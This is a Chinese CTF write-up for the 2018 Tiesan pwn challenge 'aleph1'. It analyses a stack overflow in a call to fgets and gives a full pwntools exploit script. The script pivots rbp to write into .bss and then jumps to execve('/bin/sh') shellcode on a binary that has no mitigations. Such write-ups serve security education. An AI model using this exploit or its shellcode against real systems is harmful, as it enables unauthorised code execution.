铁人三项2018 pwn [aleph1] Writeup
本文内容比较多,建议点击https://blog.formsec.cn/2018/06/11/%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B92018-pwn-aleph1-Writeup/
进行浏览。
拿到程序后首先看看程序的漏洞缓解措施,发现没有开启任何缓解措施。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
程序分析
接着,我们用IDA载入程序看看
.text:00000000004005CA public main
.text:00000000004005CA main proc near ; DATA XREF: _start+1D↑o
.text:00000000004005CA
.text:00000000004005CA yolo = byte ptr -400h
.text:00000000004005CA
.text:00000000004005CA ; __unwind {
.text:00000000004005CA push rbp
.text:00000000004005CB mov rbp, rsp
.text:00000000004005CE sub rsp, 400h
.text:00000000004005D5 mov rdx, cs:__bss_start ; stream
.text:00000000004005DC lea rax, [rbp+yolo]
.text:00000000004005E3 mov esi, 539h ; n
.text:00000000004005E8 mov rdi, rax ; s
.text:00000000004005EB call _fgets
.text:00000000004005F0 mov eax, 0
.text:00000000004005F5 leave
.text:00000000004005F6 retn
.text:00000000004005F6 ; } // starts at 4005CA
.text:00000000004005F6 main endp
程序很简单,漏洞也很明显,yolo
占0x400大小,却可以输入0x539大小的数据。很明显的栈溢出,但是却不好利用。因为程序使用fgets
来完成输入的,我们来看看fgets
的声明fgets(char *buf, int bufsize, FILE *stream)
,而程序中的第三个参数用的是stdin
标准输入,而这个stdin
存在了bss
段中。我们没办法使用ROP
来传到rdx
中。
如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入,也就没法完成利用。此时,我选择第一次栈溢出用0x4005D5
来覆盖返回地址,因为之后的代码会帮助我们完成参数的传递。
那么接下来的难点是控制fgets
的第二个参数。不过这不是问题,因为存在栈溢出,所以我们可以控制rbp
那么也就可以控制第二个参数了。
rbp
我选择的是bss + 0x20 + 0x400
也就是说,数据会写入到bss + 0x20
。为了不覆盖掉bss
段中的stdin
,所以偏移了0x20
大小。
第二次输入时,我们就可以部署shellcode
到bss
段中,并控制返回地址到shellcode
的地址完成利用。
Explolit
利用脚本:
from pwn import *
sc_addr = 0x601030 + 0x20
offset = 1024
r = process('./aleph1')
payload = offset * 'a'
payload += p64(sc_addr + 0x400)
payload += p64(0x4005d5)
raw_input('0')
r.sendline(payload)
raw_input('1')
payload = 'x6ax3bx58x99x52x48xbbx2fx2fx62x69x6ex2fx73x68x53x54x5fx52x57x54x5ex0fx05'
payload = payload.ljust(offset+8, 'x00')
payload += p64(sc_addr)
r.sendline(payload)
r.interactive()
相关的代码及其题目https://github.com/we4p0x/Writeup/blob/master/tiesan2018
往期精彩回顾
铁人三项2018 pwn [heapmain] Writeup
ISCC 2018 Writeup
American Fuzz Lop (AFL) Fuzz 初探
- 一个可以解析嵌套IIF语句的代码
- 快速制作边框的心得
- 通过Nethogs查看服务器网卡流量情况
- 美国国会关于人工智能的提案
- update的多表更新的试验
- silverlight中如何得到ComboBox的选中值(SelectedValue)?
- kvm虚拟化管理平台WebVirtMgr部署-完整记录(安装ubuntu虚拟机)-(5)
- 从MapX到MapXtreme2004[9]-标注的强调显示
- 【第一季】Vue2.0内部指令
- 从MapX到MapXtreme2004[9]-标注的强调显示
- 分布式监控系统Zabbix-3.0.3-完整安装记录(4)-解决zabbix监控图中出现中文乱码问题
- 常用Lambda表达式实例
- centos6.8部署vnc服务
- linux下的缓存机制及清理buffer/cache/swap的方法梳理
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法